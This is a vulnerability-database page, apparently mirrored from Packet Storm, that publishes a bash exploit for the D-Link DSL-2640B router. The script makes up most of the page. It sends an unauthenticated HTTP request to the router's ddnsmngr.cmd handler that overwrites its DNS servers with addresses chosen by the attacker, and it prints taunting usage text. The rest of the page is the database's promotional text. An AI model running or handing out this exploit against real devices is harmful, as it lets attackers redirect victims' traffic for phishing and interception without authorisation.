Lucene search
+L

D-Link DSL-2640B Remote DNS Changer

🗓️ 23 Mar 2017 00:00:00Reported by cryptolulz666Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

D-Link DSL-2640B Remote DNS Changer vulnerability in web interface accessible without authentication. Exploitable to change DNS settings remotely. Tested on Linux.

Code
`#!/bin/bash   
#   
# D-Link DSL-2640B Remote DNS Change Exploit   
# Description:   
# Different D-Link Routers are vulnerable to DNS change.   
# The vulnerability exist in the web interface, which is   
# accessible without authentication.   
#   
# Tested On Linux/ubuntu/Debian/All Other Linux   
# Compatible Core i86   
# Script Bash By Cryptolulz666   
# Use This For Educational Purphose   
if [[ $# -gt 3 || $# -lt 2 ]]; then   
echo " D-Link DSL-2640B Remote DNS Change Exploit"   
echo " ================================================================"   
echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"   
echo " Example: $0 192.168.1.1 8.8.8.8"   
echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"   
echo ""   
echo " Copyright none public "   
echo " security sucks ass "   
echo " this server is vuln and you are owned "   
exit;   
fi   
GET=`which GET 2>/dev/null`   
  
if [ $? -ne 0 ]; then   
echo " Error : libwww-perl not found =/"   
exit;   
fi  
  
GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation